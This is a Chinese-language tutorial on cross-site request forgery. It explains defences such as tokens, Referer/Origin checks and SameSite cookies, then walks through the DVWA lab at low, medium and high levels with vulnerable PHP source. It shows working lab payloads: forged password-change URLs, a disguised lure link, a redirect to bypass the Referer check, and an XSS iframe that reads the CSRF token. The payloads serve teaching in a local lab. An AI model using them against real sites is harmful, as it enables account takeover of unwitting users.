简介 CSRF,全名 Cross Site Request Forgery,跨站请求伪造。本质是通过伪装成受信任用户请求受信任的网站。
CSRF 攻击的原理
用户登录受信任网站 :用户在浏览器中登录了A网站,并建立了有效会话。
未退出登录 :用户在会话有效期间访问了B网站。
恶意网站发送请求 :B网站向受信任网站发送伪造的请求,利用用户的会话 cookie 等身份验证信息。
受信任网站执行请求 :由于浏览器会自动携带受信任网站的 cookie,服务器误认为请求是用户主动发起的,从而执行恶意操作。
防护措施 1. 使用 CSRF 令牌(Token) 示例代码(HTML 表单) :
1 2 3 4 <form method ="POST" action ="/transfer" > <input type ="hidden" name ="csrf_token" value ="{{ session.csrf_token }}" > <button type ="submit" > 转账</button > </form >
后端验证(Python) :
1 2 3 4 5 def verify_csrf (request ): client_token = request.form.get('csrf_token' ) server_token = session.get('csrf_token' ) if client_token != server_token: abort(403 )
2. 同源验证(Same-Origin Policy) 通过检查请求来源,确保请求来自同一域名:
验证 Referer 头 :检查 HTTP 请求的Referer字段是否与当前域名匹配。
验证 Origin 头 :检查跨域请求的Origin字段是否为可信域名。
Referer 头与Origin 头是什么? Referer 头
Origin 头 (浏览器强制加上去,但能用bp改)
3. 设置 Cookie 的 SameSite 属性 通过SameSite属性控制 Cookie 在跨站请求时的发送:
Strict :仅允许同源请求携带 Cookie。
Lax :允许部分安全的跨站请求(如 GET 请求)携带 Cookie。
None :允许所有跨站请求携带 Cookie(需配合Secure属性)。
示例代码(Python Flask) :
1 2 3 4 5 6 7 @app.after_request def add_cookie_policy (response ): response.set_cookie('session_id' , value=session_id, samesite='Lax' , secure=True , httponly=True ) return response
练习 靶场用的是DVWA https://github.com/digininja/DVWA
low
直接看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php if ( isset ( $_GET [ 'Change' ] ) ) { $pass_new = $_GET [ 'password_new' ]; $pass_conf = $_GET [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5 ( $pass_new ); $current_user = dvwaCurrentUser (); $insert = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . $current_user . "';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match.</pre>" ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
通过get得到三个参数change、password_new、password_conf,password_new和password_conf想同则修改,没有任何防护
构造链接
1 http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
也可以制作页面,诱导用户点击
1 <a href ="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#" > <img src ="" > 点击重试</a >
medium 看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php if ( isset ( $_GET [ 'Change' ] ) ) { if ( stripos ( $_SERVER [ 'HTTP_REFERER' ] ,$_SERVER [ 'SERVER_NAME' ]) !== false ) { $pass_new = $_GET [ 'password_new' ]; $pass_conf = $_GET [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5 ( $pass_new ); $current_user = dvwaCurrentUser (); $insert = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . $current_user . "';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match.</pre>" ; } } else { echo "<pre>That request didn't look correct.</pre>" ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
使用了 Referer 验证,因为是本地搭建怎么提交referer都是127.0.0.1
绕过可以通过重定向的方式,用js
1 <script > window .location = "http://127.0.0.1/" </script >
heigh 看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <?php $change = false ;$request_type = "html" ;$return_message = "Request Failed" ;if ($_SERVER ['REQUEST_METHOD' ] == "POST" && array_key_exists ("CONTENT_TYPE" , $_SERVER ) && $_SERVER ['CONTENT_TYPE' ] == "application/json" ) { $data = json_decode (file_get_contents ('php://input' ), true ); $request_type = "json" ; if (array_key_exists ("HTTP_USER_TOKEN" , $_SERVER ) && array_key_exists ("password_new" , $data ) && array_key_exists ("password_conf" , $data ) && array_key_exists ("Change" , $data )) { $token = $_SERVER ['HTTP_USER_TOKEN' ]; $pass_new = $data ["password_new" ]; $pass_conf = $data ["password_conf" ]; $change = true ; } } else { if (array_key_exists ("user_token" , $_REQUEST ) && array_key_exists ("password_new" , $_REQUEST ) && array_key_exists ("password_conf" , $_REQUEST ) && array_key_exists ("Change" , $_REQUEST )) { $token = $_REQUEST ["user_token" ]; $pass_new = $_REQUEST ["password_new" ]; $pass_conf = $_REQUEST ["password_conf" ]; $change = true ; } } if ($change ) { checkToken ( $token , $_SESSION [ 'session_token' ], 'index.php' ); if ( $pass_new == $pass_conf ) { $pass_new = mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ); $pass_new = md5 ( $pass_new ); $current_user = dvwaCurrentUser (); $insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $insert ); $return_message = "Password Changed." ; } else { $return_message = "Passwords did not match." ; } mysqli_close ($GLOBALS ["___mysqli_ston" ]); if ($request_type == "json" ) { generateSessionToken (); header ("Content-Type: application/json" ); print json_encode (array ("Message" =>$return_message )); exit ; } else { echo "<pre>" . $return_message . "</pre>" ; } } generateSessionToken ();?>
多了个user_token
CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
需要用到存储型XSS,这个界面就有XSS
有字数限制,先改字数,再上传
1 <iframe src="http://127.0.0.1/DVWA/vulnerabilities/csrf/index.php" onload=alert (frames[0 ].document .getElementsByName ('user_token' )[0 ].value )></iframe>
会弹出它的user_token
获得user_token后再用上面的方法
1 http://127.0.0.1/DVWA/vulnerabilities/csrf/index.php?password_new=1&password_conf=1&Change=Change&user_token=ee164777d981c0d56060b22569c6b81f#